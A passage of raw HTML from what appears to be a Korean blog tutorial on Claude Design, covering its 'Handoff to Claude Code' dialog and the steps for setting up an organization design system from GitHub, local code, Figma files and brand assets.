height=&quot;422&quot; data-origin-width=&quot;582&quot; data-origin-height=&quot;886&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Handoff to Claude Code...를 클릭하면 다이얼로그가 열리고, 상단에 두 탭이 나타난다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1158&quot; data-origin-height=&quot;1012&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfn2WK/dJMcahKWGvN/1TYYQsPLZeDHkfQc1l5YzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfn2WK/dJMcahKWGvN/1TYYQsPLZeDHkfQc1l5YzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfn2WK/dJMcahKWGvN/1TYYQsPLZeDHkfQc1l5YzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbfn2WK%2FdJMcahKWGvN%2F1TYYQsPLZeDHkfQc1l5YzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;396&quot; height=&quot;346&quot; data-origin-width=&quot;1158&quot; data-origin-height=&quot;1012&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Send to local coding agent&lt;/b&gt;: 로컬에서 실행 중인 Claude Code(터미널&amp;middot;IDE)로 핸드오프한다. 다이얼로그 중앙 터미널 프리뷰에 커맨드가 자동 생성된다.&lt;br /&gt;
&lt;div style=&quot;background: #1e1e1e; color: #d4d4d4; border-radius: 6px; padding: 10px 14px; margin: 8px 0; font-family: monospace; font-size: 13px; line-height: 1.7;&quot;&gt;Fetch this design file, read its readme, and implement the relevant aspects of the design.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://api.anthropic.com/v1/design/h/&quot;&gt;https://api.anthropic.com/v1/design/h/&lt;/a&gt;{id}?open_file={파일명}&lt;br /&gt;Implement: {파일명}&lt;/div&gt;
&lt;b&gt;Copy command&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;버튼으로 복사한 뒤 로컬 Claude Code 터미널에 붙여넣으면 바로 구현이 시작된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;ex)Fetch&amp;nbsp;this&amp;nbsp;design&amp;nbsp;file,&amp;nbsp;read&amp;nbsp;its&amp;nbsp;readme,&amp;nbsp;and&amp;nbsp;implement&amp;nbsp;the&amp;nbsp;relevant&amp;nbsp;aspects&amp;nbsp;of&amp;nbsp;the&amp;nbsp;design.&amp;nbsp;&lt;a href=&quot;https://api.anthropic.com/v1/design/h/&quot;&gt;https://api.anthropic.com/v1/design/h/&lt;/a&gt;{id}?open_file={파일명}&amp;nbsp;Implement:&amp;nbsp;{파일명}&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1584&quot; data-origin-height=&quot;820&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S2tWn/dJMcahxpz0X/f7xtKKy6ykooRmlYjC8ky1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S2tWn/dJMcahxpz0X/f7xtKKy6ykooRmlYjC8ky1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S2tWn/dJMcahxpz0X/f7xtKKy6ykooRmlYjC8ky1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS2tWn%2FdJMcahxpz0X%2Ff7xtKKy6ykooRmlYjC8ky1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1584&quot; height=&quot;820&quot; data-origin-width=&quot;1584&quot; data-origin-height=&quot;820&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 폴더 생성, 압축 해제 등 권한 허용&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;380&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Pq6Bn/dJMcaaSAQW9/TkLAzTijMSavSSI42Tq8Zk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Pq6Bn/dJMcaaSAQW9/TkLAzTijMSavSSI42Tq8Zk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Pq6Bn/dJMcaaSAQW9/TkLAzTijMSavSSI42Tq8Zk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPq6Bn%2FdJMcaaSAQW9%2FTkLAzTijMSavSSI42Tq8Zk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;408&quot; height=&quot;182&quot; data-origin-width=&quot;852&quot; data-origin-height=&quot;380&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1478&quot; data-origin-height=&quot;412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bhpmlU/dJMcad2MnPI/fR7BwE1XILRG9K8S5m5zt0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bhpmlU/dJMcad2MnPI/fR7BwE1XILRG9K8S5m5zt0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bhpmlU/dJMcad2MnPI/fR7BwE1XILRG9K8S5m5zt0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbhpmlU%2FdJMcad2MnPI%2FfR7BwE1XILRG9K8S5m5zt0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1478&quot; height=&quot;412&quot; data-origin-width=&quot;1478&quot; data-origin-height=&quot;412&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 원래는 소스를 파악하고 바로 claude code로 개발 진행할 것으로 보이는데, 나의 경우 이미 구현을 다 해둬서 수정을 해버리는 모습이다.&amp;nbsp;&amp;nbsp;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1252&quot; data-origin-height=&quot;1194&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b72Afq/dJMcahxpAfi/sqSPa8H6P0unzXMWsVGFIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b72Afq/dJMcahxpAfi/sqSPa8H6P0unzXMWsVGFIk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b72Afq/dJMcahxpAfi/sqSPa8H6P0unzXMWsVGFIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb72Afq%2FdJMcahxpAfi%2FsqSPa8H6P0unzXMWsVGFIk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;479&quot; height=&quot;457&quot; data-origin-width=&quot;1252&quot; data-origin-height=&quot;1194&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Send to Claude Code Web&lt;/b&gt;: 브라우저 기반 Claude Code Web으로 핸드오프한다. Claude Code Web은 공식 설명대로&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;&quot;works with repositories you may not have on your local machine&quot;&lt;/i&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;mdash; 로컬에 코드베이스가 없어도 사용할 수 있어, 새 프로젝트를 처음부터 만들 때 적합하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;다이얼로그 하단&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;OPTIONS&lt;/b&gt;에는 두 가지 추가 항목이 있다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Download zip instead&lt;/b&gt;: 체크하면 번들을 .zip 파일로 내려받는다. 안내 문구&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;i&gt;&quot;Drop the bundle into your agent's chat manually.&quot;&lt;/i&gt;처럼, 자동 전송 대신 원하는 에이전트 채팅창에 직접 드래그&amp;middot;드롭하는 방식이다. Claude Code 외의 다른 코딩 에이전트를 쓸 때 유용하다.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Give the agent more detail on what to implement&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(optional): 에이전트에 전달할 추가 지시를 자유 텍스트로 입력한다. 특정 파일만 구현하거나 구현 범위를 좁히고 싶을 때 활용한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Tweaks로 디자인을 확정하고, Handoff to Claude Code로 구현을 넘기는 것이 Claude Design 워크플로의 마지막 단계다. 디자이너가 완성한 시안을 개발자에게 넘길 때 생기는 전달 비용을 Claude가 자동으로 제거하는 구조다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 내 실제 바이브 코딩용 사이트에 실제 적용까지 완료 하였다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - &lt;a href=&quot;https://goddaehee.co.kr/guide/n8n-handson/agent&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://goddaehee.co.kr/guide/n8n-handson/agent&lt;/a&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1850&quot; data-origin-height=&quot;1902&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wFguS/dJMcadPeOKJ/RHAbfaIKPMvHpLCypJp051/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wFguS/dJMcadPeOKJ/RHAbfaIKPMvHpLCypJp051/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wFguS/dJMcadPeOKJ/RHAbfaIKPMvHpLCypJp051/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwFguS%2FdJMcadPeOKJ%2FRHAbfaIKPMvHpLCypJp051%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1850&quot; height=&quot;1902&quot; data-origin-width=&quot;1850&quot; data-origin-height=&quot;1902&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;sec-5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span style=&quot;background: #fff8e1; color: #f57c00; padding: 2px 8px; border-radius: 4px; font-size: 13px; font-weight: 600; margin-right: 8px;&quot;&gt;중급&lt;/span&gt;5. 기능 2: 디자인 시스템 설정 &amp;mdash; 단계별 튜토리얼&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;디자인 시스템은 Claude Design에서 브랜드 일관성을 유지하는 핵심 기능이다. 한 번 설정하면 이후 모든 새 프로젝트가 자동으로 상속한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;이 섹션은 선택 사항이다.&lt;/b&gt; Slide deck &amp;middot; From template 탭으로 지금 바로 시작할 수 있으며, 조직 브랜드 일관성이 필요해질 때 이 섹션으로 돌아오면 된다. organization admin 권한과 브랜드 에셋(GitHub &amp;middot; Figma &amp;middot; 로고 등)이 준비되어 있을 때 진행하면 가장 효과가 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.1. 사전 요건 확인&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;권한 확인 필수&lt;/b&gt;: 디자인 시스템 설정은 organization admin이 권한을 부여한 디자이너 또는 브랜드 오너가 진행한다. &quot;Permissions granted by your organization admin&quot; (조직 관리자에게 권한을 부여받아야 접근 가능하다)이 전제이므로, 막히면 admin에게 권한 부여를 요청한다.&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;준비할 자료&lt;/b&gt;: 다음 중 하나 이상. 모두 선택 사항(all optional)이지만 많을수록 결과가 좋아진다.
&lt;ul style=&quot;margin-top: 6px; list-style-type: circle;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;회사명과 브랜드 설명 텍스트 &amp;mdash; 예: &quot;Mission Impastabowl: fast-casual pasta restaurant with in-store touchscreen kiosk, mobile app and website&quot;&lt;/li&gt;
&lt;li&gt;GitHub 리포 URL (프론트엔드/디자인 시스템 코드)&lt;/li&gt;
&lt;li&gt;로컬 코드 폴더 (GitHub 없는 경우 대안)&lt;/li&gt;
&lt;li&gt;Figma .fig 파일 (Figma에서 File &amp;rarr; Save local copy로 다운로드)&lt;/li&gt;
&lt;li&gt;폰트&amp;middot;로고&amp;middot;에셋 파일 (PNG, PDF, PPT 브랜드 가이드 등)&lt;/li&gt;
&lt;li&gt;추가 설명 메모 (색상 톤, 브랜드 보이스 등 자유 텍스트)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.2. Organization Settings 접근 방법&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;claude.ai/design 화면의 &lt;b&gt;왼쪽 하단 모서리&lt;/b&gt;에서 현재 조직 이름을 클릭한다. 공식 문서 원문: &lt;i&gt;&quot;In the lower-left corner of the project picker, click the current organization name.&quot;&lt;/i&gt; (프로젝트 선택 화면 왼쪽 하단에서 현재 조직 이름을 클릭한다.)&lt;/li&gt;
&lt;li&gt;조직을 선택하거나, 없다면 새로 생성한다.&lt;/li&gt;
&lt;li&gt;Organization settings 화면으로 진입한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cnuCpy/dJMcaakJmK4/IJbJ4gqVa0wgxkp5yolbLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cnuCpy/dJMcaakJmK4/IJbJ4gqVa0wgxkp5yolbLK/img.png&quot; style=&quot;width: 22.092%; margin-right: 10px;&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;478&quot; data-origin-width=&quot;356&quot; data-widthpercent=&quot;22.35&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cnuCpy/dJMcaakJmK4/IJbJ4gqVa0wgxkp5yolbLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcnuCpy%2FdJMcaakJmK4%2FIJbJ4gqVa0wgxkp5yolbLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;356&quot; height=&quot;478&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bq6KGg/dJMcaiwg0sO/KV1oPLidf6NaKHQzUPyy7k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bq6KGg/dJMcaiwg0sO/KV1oPLidf6NaKHQzUPyy7k/img.png&quot; style=&quot;width: 76.7452%;&quot; data-origin-width=&quot;1542&quot; data-origin-height=&quot;596&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;77.65&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bq6KGg/dJMcaiwg0sO/KV1oPLidf6NaKHQzUPyy7k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbq6KGg%2FdJMcaiwg0sO%2FKV1oPLidf6NaKHQzUPyy7k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1542&quot; height=&quot;596&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;5.3. 디자인 시스템 설정 폼 입력 가이드&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;1586&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mjdQx/dJMcahRF9zr/WjXKyZFKgpuZSgvc2f4lP1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mjdQx/dJMcahRF9zr/WjXKyZFKgpuZSgvc2f4lP1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mjdQx/dJMcahRF9zr/WjXKyZFKgpuZSgvc2f4lP1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmjdQx%2FdJMcahRF9zr%2FWjXKyZFKgpuZSgvc2f4lP1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;491&quot; height=&quot;667&quot; data-origin-width=&quot;1168&quot; data-origin-height=&quot;1586&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;실제 설정 폼은 &lt;i&gt;&quot;Set up your design system &amp;mdash; Tell us about your company and attach any design resources you have.&quot;&lt;/i&gt;로 시작하며 다음 필드로 구성된다.&lt;/p&gt;
&lt;div style=&quot;background: #f0f4f8; border: 1px solid #d0d9e3; border-radius: 8px; padding: 20px; margin: 15px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;① Company name and blurb&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;회사명과 브랜드 설명을 한 문장으로 입력한다. 예: &lt;i&gt;&quot;Mission Impastabowl: fast-casual pasta restaurant with in-store touchscreen kiosk, mobile app and website&quot;&lt;/i&gt; &amp;mdash; 어떤 제품을 어떤 채널에서 사용하는지 맥락을 줄수록 결과가 정확해진다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;② Link code on GitHub&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;GitHub 리포 URL을 입력하고 Add 버튼을 클릭한다. 공식 문서: &lt;i&gt;&quot;If your design system lives in code (for example, a React component library), you can link or upload the repository.&quot;&lt;/i&gt; Claude가 컴포넌트&amp;middot;CSS 토큰을 자동 추출한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;③ Link code from your computer&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;로컬 코드 폴더를 드래그하거나 browse로 선택한다. GitHub 없이도 사용 가능하다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px; font-style: italic; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;This doesn't upload the whole codebase; Claude will copy selected files. For large codebases, we recommend attaching a frontend-focused subfolder.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px; font-style: italic; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;④ Upload a .fig file&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 8px;&quot; data-ke-size=&quot;size16&quot;&gt;Figma .fig 파일을 드래그하거나 browse로 선택한다. 준비 방법: Figma &amp;rarr; File &amp;rarr; Save local copy &amp;rarr; 다운로드된 .fig 파일 업로드.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px; font-style: italic; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Parsed locally in your browser &amp;mdash; never uploaded.&quot;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px; font-style: italic; color: #555;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;⑤ Add fonts, logos and assets&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;로고 PNG, 폰트 파일, 브랜드 가이드 PDF&amp;middot;PPT 등 시각 에셋을 드래그하거나 browse로 선택한다. 공식 문서는 &quot;Even a well-designed PowerPoint or PDF that reflects your brand can work. Claude extracts colors, layout patterns, and typographic choices.&quot;라고 명시한다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;⑥ Any other notes?&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;브랜드 보이스, 선호 색감, 코너 반경 등 자유 텍스트로 추가 맥락을 제공한다. 예: &lt;i&gt;&quot;We use a warm, earthy color palette with rounded corners. Our brand voice is playful but professional.&quot;&lt;/i&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) Link code from your computer 방법으로 폴더를 지정하여 진행해보았따.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 로컬 코드 폴더 지정 및 간단한 소개 입력&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1172&quot; data-origin-height=&quot;1912&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0SK5j/dJMcabKKPVJ/NSUqAARQsz02BjF2CAkjX1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0SK5j/dJMcabKKPVJ/NSUqAARQsz02BjF2CAkjX1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0SK5j/dJMcabKKPVJ/NSUqAARQsz02BjF2CAkjX1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0SK5j%2FdJMcabKKPVJ%2FNSUqAARQsz02BjF2CAkjX1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;586&quot; height=&quot;956&quot; data-origin-width=&quot;1172&quot; data-origin-height=&quot;1912&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 우상단 Continue to generation 버튼 클릭&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c3MAaq/dJMcaf0CHfw/6fb4SHJn14NlHsIckktsy0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c3MAaq/dJMcaf0CHfw/6fb4SHJn14NlHsIckktsy0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c3MAaq/dJMcaf0CHfw/6fb4SHJn14NlHsIckktsy0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc3MAaq%2FdJMcaf0CHfw%2F6fb4SHJn14NlHsIckktsy0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;270&quot; height=&quot;79&quot; data-origin-width=&quot;348&quot; data-origin-height=&quot;102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 5분 정도 소요 예상된다고 한다.&lt;/p&gt;
